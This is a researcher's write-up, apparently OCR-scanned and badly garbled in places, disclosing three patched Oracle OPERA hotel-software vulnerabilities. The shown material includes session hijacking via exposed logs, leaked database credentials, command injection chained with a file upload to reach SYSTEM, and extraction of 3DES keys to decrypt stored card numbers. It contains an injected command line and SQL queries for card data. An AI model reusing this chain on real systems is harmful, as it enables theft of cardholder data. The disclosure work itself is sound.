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tl;dr: | found bugs in Oracle's hotel management platform which can be used to escalate app
privileges and gain access into the operating system and database. An attacker on the network
starting from an unauthenticated standpoint could exploit them to exfiltrate stored cardholder
data. The issues were reported to Oracle, patched in a timely manner, and CVE IDs were issued
(http://www.oracle.com/technetwork/security-advisory/cpuoct2016verbose-
2881725.html#HOSP) .

Introduction

Oracle OPERA (formerly MICROS OPERA) is a dominant property-management platform used
by hotels worldwide. It's the software you'd see staff use behind the counter at chains like the
Hyatt and Hilton to manage reservations and process payments.
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For the purpose of settling transactions, the application retains encrypted PANs (credit card
numbers), expiry dates, and cardholder names in an Oracle SQL database. Three different ways
to gain database access were discovered. Once an attacker has gained access, they could then
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develop the capability to extract and decrypt the stored cardholder data.

All of these issues were found in areas that wouldn't have been part of any user stories and
would not have been identified solely through black-box testing. But unlike in-house developed
solutions, the wide deployment of vendor solutions makes it easier for motivated attackers to
obtain and analyze the software (legally or illegally). Through static and dynamic analysis, an
attacker could determine entry points that stray off the beaten path.
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Vulnerabilities

CVE-2016-5665: Session Hijacking via Exposed Logs
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I OPERA Full Service Edition - Yersion 5.0.04.01/5 - Internet Explorer
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After a user logs into OPERA, they can choose which interface they want to interact with. For
most users, this is typically the Property Management System (PMS) interface that's circled
above. The request to launch interfaces contains the user's session token and parameters of
the particular interface they want to launch.

Request

[ Raw [ Pacams. | Hesders | Hex |

POST request to AOperalogindaunchOperaspplication do

Type | Mame Value | Add
|URL  jsessionid | 743bScd750eaed25c23ecadbbaTcBibbeS1136bet 29c3d0e5c590chEd1 84715 | 4

Body config opersoper ads Remave
Body otherparams called_fromevdszo form_to_runs=PiS terminalssme s LargeFort ...

Body option DECRYPT Up
Body activeSes... 1 L_J
lBOdv background il |¥] Down

Just one problem though... the session tokens and other parameters required to start a session
were logged in a directory that can be accessed through the webserver... without
authentication.

f‘ Micros OPERA Login Web Application - Internet Explorer
: |2 https:jm _r ros.OperaLogin.2016[.0.0.ht I
& Micros OPERA Login Web Ap... I

% Find: [25c23ecadbba7cadbbes1136be129c300e5c590cb6fd147f5  Previous Mt # Options = | 1 match
2016-05-17 14:48:48.553 com.mucros.opera.controller strutsactions. BaseAction saveUser

INFO: LogonAction: User T8 "' logged on in session "
743b9cd750eae925c23ecadbbalc8dbbe51136bel29c3d0e5c590cbbfd1847£5
2016-05-

17 14:49:19.615 com micros.opera.controller strutsactions. LaunchOperaA,
INFO: User: PR ™ is attempting to launch Opera Form with params:
form_to_run=PMS termanal - LargeFont remotehost

LargeFont APPSERVERNAME=https

pplicationAction execute

framename=ssoframe

2016-05-

An attacker simply needs to wait for an administrative user to login and once they're in, they
can gain full privileges within the application. Administrators have access the the "Opera SQL"
tool which allows them to submit raw queries to the database.
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g OPERA Ltilities[Version 5.0, Service Pack 5.0.04.01,/5]

Utilities Processors Synchronize Utilities nm- Exit

Session Statistics
Elush The Pool
Schema Management

016 42

17-MAY-2016 208419 |ww  wee ~FI2FS96ABCOB2EL~T A468AAB550166E

17-MAY-2016 208418 |9 = ~F92F S96ABCIB2EA~T AISSAABSE01 BBE
17-MAY-2016 208415 B a Nk ~F32F S96ABCIB2EA~7 AS6BAABSE01B6E
17-MAY-2016 208416  |Mem st ~F92F SO6ABCIB2E4~AS02FESH1 2711ES:

HT-MAY-2016 208417 |mwme s ~F92F596ABCIB2E4~A402FES412711E8!

The caveat with using this approach to extract cardholder data is that it's too slow and not
stealthy enough. Every query is logged at the application layer and using the Oracle Forms Ul is
much more sluggish than establishing a direct connection to the database server.

CVE-2016-5664: Exposure of Oracle SQL Database Credentials

If the attacker is on the same network as the database server, another approach would be to
construct a database connection string. The database credentials and service name were
returned in the HTML of a successful authentication response to launch Oracle Forms. The
database server hostname was accessible in the response of an unauthenticated servlet.

&2 CRS Status Serviet Information x | |

| GET doj.. (/] U
— y
] Username

ﬂ HTML | Render | Password

Service Name

'lservlet?if'c'Fs=!forms’Frmse'vlet?c*nfigsg,c
‘m=opera&#38;userid=I" |8l /evp=-a@OPERA&#H#38 ;b

With this, an attacker has what they need to connect with sqlplus using the "easy connect"
syntax. They can also avoid the user-tied logging and sluggish behaviour in the "Opera SQL"
tool.

sqlplus [Username]/[Password]@[Hostname]: [Port]/[Service Name]
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Connected to:

Oracle Database 11g Enterprise Edition Release 11.2.9.3.8 - 64bit Production
With the Partitioning, Real Application Clusters, Automatic Storage Management,
Data Mining and Real Application Testing options

SQL> SELECT * FROM
2 (SELECT INSERT_DATE,
3 CREDIT_CARD_NAME,
4 CREDIT_CARD_MUMBER,
5 CREDIT_CARD_EXPIRATION_DT_STR
6 FROM MAMES_CREDIT_CARD
7 WHERE CREDIT_CARD_NAME = * :
8 ORDER BY INSERT_DATE DESC)
9 WHERE ROWNUM <= 1;

INSERT_DA

CREDIT_CARD_NAM

CREDIT_CARD_NUMBER

CREDIT_CARD_EXPIRATION_DT_STR

17-MAY-16

~FRCESAABET @57C2ES8DDASL
~343AB3644F

CVE-2016-5663: RCE via OS Command Injection and RFI

In circumstances where the attacker has access to only the application server (e.g. Internet
exposure) or if inbound connections to the database server are restricted to only the application
server, this remote code execution vulnerability could be exploited to their advantage. This is
my favourite finding because it puts together seemingly unrelated elements toward a malicious
purpose.

There was what appeared to be a diagnostic process information servlet that would return
information given a PID. What may not be obvious in a black-box test is that the PID argument
flows into a concatenated string for command execution. An attacker could, as shown below,
modify the argument to run another command and send that output to another file accessible
through the web server.

http-//opera/Operajserv/iwebarchive/Processinfo?pid=1

l

cmd fc D:\micros\opera'toolsipslist -m 1 > % TEMP%!\pslist. tmp

l

_.ist-m 1 & whoami = D:\micros\operaloperaias\webtempltest.txt 2> %TEMP% ..

l

http://opera/Operajserviwebtemp/test. txt

If it worked as expected, it should have returned the whoami output into the webtemp directory
within web root. Instead what | got was an error message saying that a certain file was missing.

Operajsery/webarchive ProcessInfo?pid =0 - Internet Explorer

< Purnl version="1.0" encoding="UTF-8"7>

- *PROCESS>
“5STATUS>ERROR </STATUS >
<ERROR >java.lang.Exception: File D:\micros, operaisi/default.env did not found at
com.micros.opera. utilities. Javar242 dmmmﬂuﬂh-}h'mﬂ?i
at com.mMiCros. opera. Processinfo.java:26) at com.micros.opera.serviet.Processinfo
(ProcessInfo.java: 109) at javax. {HttpServiet-java: 740) at

Javax.serviet hitp. HitpServiet( HitpServiet. java:853) at

mmwswmﬂ“} at
Looking at the corresponding code for this servlet, we can see where the error occurs. The
constructed command line contains the path of the pslist utility which is derived from a property
file. The location of that file is hardcoded to D:\micros\opera\operaias\default.env but it
doesn't seem to exist there. This is why the function fails before getting to execute the pslist
command.
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public class ProcessInfo extends HttpServlet

{
public void init(fimal ServletConfig config) throws ServletException {
super.init(config);
}

private boolean getProcessInfo(final Document document, final String pid)
final Properties prop = Utility.getIASEnvironment();
final String operaHome = prop.getProperty("OPERA_HOME"):
final Element root = document.getDocumentElement();
final File tempFile = File.createTempFile("pslist”, null, null);
final String fileName = tempFile.getAbsolutePath();

final String fileSeparator = System.getProperty("file.separator™);
final S5tring comm = "cmd /c " + operaHome + fileSeparator + "tools™ +
final Process pr = Runtime.getRuntime().exec(comm);

pr.waitFor();

A couple things need to be done to fix this servlet:

1. Find the value of the OPERA_HOME property.
2. Save itto D:\micros\opera\operaias\default.env .

Coincidentally, there was another diagnostic servlet that exposed the OPERA_HOME property.

ﬁ_ IAS Environe

O ~[e i P[]y SES
3 1AS Emvironment Information.., | I

== STATUS:OK ---—- ~
ORACLE_10GHOME=Dxoracle\1120client

REPORTS_WEBLOC='webcache

PATH=D-"oracle’ 10gappr2'bin;D:\oracle' 1 0gappr2'jdk jre' bin'client,D: oracle’' 1 0gappr2'jdi jre'bin
REPORTS_PATH=D:'micros\opera\export OPERA;d: micros opera production’ runtimes
IMGDIR=webicons/

% HOLE-D:'-MM‘-?%
) ITEM=FALSE

WEBTEMP=D:\micros'opera\operaias webtemp
< >

And yet another diagnostic servlet conveniently served as an RFI vector to upload to the target
path:

Request

[ Rae TParams T Headers | Hex

POET request to iOperajservivebarchivelFileReceiver

Type | Mame | walue o
URL filename Drwicrozopera\operaiasidetault eny

LURL cre 28 Remove
URL append falze )
URL trace an Up
Body OPERA_HOME Dowmicrosopers )
Body Dowen

Body encoding: applicationé-www-form-urlencoded

Response

[Raw THeaders Hex | Xhil ]

<fxml wversien = '1.8" encoding = 'UTF-8'P:>
«FILERECEIVER>
<STATUS>0R</STATUS:
<PARSMETERS>
<FILENAME>D: ymicros'\opera‘operaiasidefault.env:/FILENAME >
< /PARAMETERS >
<fFILERECEIVER>

e

|- %

LZJ EJ LZJ EJ Tipe 2 sedrch term 0 matches

Done 402 hytes | 469 millis

Exploiting the Processinfo servlet again seemed to indicate that the fix worked. The whoami
output indicated the application was running as SYSTEM.
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J/webtemptest.bxt - Internet Explorer

G@ - I@ https: /® memmmwebtempftest bxt pjl&l ; o ":1? {é}
cLg B o x |

|n: authority\ system|

This proof-of-concept script could be used for verification:

Cardholder Data Decryption

Leveraging any combination of the findings detailed above, an attacker could gain
authenticated access to the database starting from an unauthenticated standpoint. From there,
they could retrieve cardholder data and decrypt them.

According to the OPERA knowledgebase, credit card numbers and expiration dates are stored
in the database tables in encrypted (Triple DES) format. Of interest to an attacker would be the
3DES encryption keys. The DBMS_OBFUSCATION_TOOLKIT package is used by OPERA to
perform 3DES encryption. That package does not store or maintain the keys. Instead, a
separate package is created to store the keys and handle encryption function calls. The wrap
utility of PL/SQL is used to obfuscate the code to prevent casual snooping. This package is
regenerated every time the encryption keys are changed.

An example SQL query used to retrieve the package body is:

SELECT NAME, TYPE, TEXT from USER_SOURCE WHERE NAME LIKE 'SIFC_CRYPT_V4_%'
As the package body is only obfuscated, it could be de-obfuscated or “unwrapped” to reveal
the 3DES keys.

Z: - 1 ¥ \Scripts
% unwrap.py IFC_CRYPT V4 158324824708.plb
=== Oracle 18g/11g PL/SQL unwrapper @.2 - by Niels Teusink - blog.teusink.net ===

PACKAGE BODY IFC_CRYPT_V4_158324024700 IS G_KS1 VARCHAR2(1@); G_IV VARC
R2(1@); G_KS3 VARCHAR2(18); G_MODE PLS_INTEGER; G_K52 VARCHARZ2(1@)
G_PAD VARCHAR2(1) := '§"; PROCEDURE FRAME_KS; FUNCTION ENCRYPT_DATA( I
STRING IN VARCHAR2 ) RETURN VARCHAR2 IS BEGIN RAISE_APPLICATION_ERROR( - 28005,

18 PROCEDURE FRAME_K5 IS BEGIN
G_KS1 = "1mmmdetX';

G_KSZ i= 'Igacpmay’;

1
-

184 G_KS3 := "STl-e=N;
5 G_IV i= -
&
8

R R R R

"Tupmlie e’ ;
G_MODE := DEMS_OBFUSCATION_TOOLKIT.THREEKEYMODE;
END FRAME_KS;
END IFC_CRYPT_V4_158324824708;

o

Now that the keys and algorithm are known, the next step for an attacker would be to find the
tables where the encrypted data is stored. That information is conveniently available in the
OPERA knowledgebase:

J Opera Key Gen - Re-enciyption Process - Microsolt Intemet E xplorer
OFPERA KEY GENERATION AND RE-ENCRYPTION 53

(100%)

{(100%)
(100%)

{100%)

B {100%)

=% _PROFILE_CARDS {100%)

A select query performed on the NAME$_CREDIT_CARD table can yield names and encrypted
card information. The ciphertexts can then be passed through a script to decrypt them to
plaintext.

INSERT_DATE |CREDIT_CARD_NAME |CREDIT_CARD_NUMBER

17 -MAY 2016 |- |~FDCEIBAABEI LB ETC2Es000AM
Z:\ Zscripts

A java -jar OperalCDecrypt.jar FBCEBAARE 7C2E38DD
4444333322221111
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Responsible Disclosure Process
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The disclosure process with Oracle was delightfully straightforward. | received a response within
24 hours of submitting the vulnerability report with their PGP public key. After supporting some

clarification requests, the fixes were scheduled for the next Critical Patch Update.
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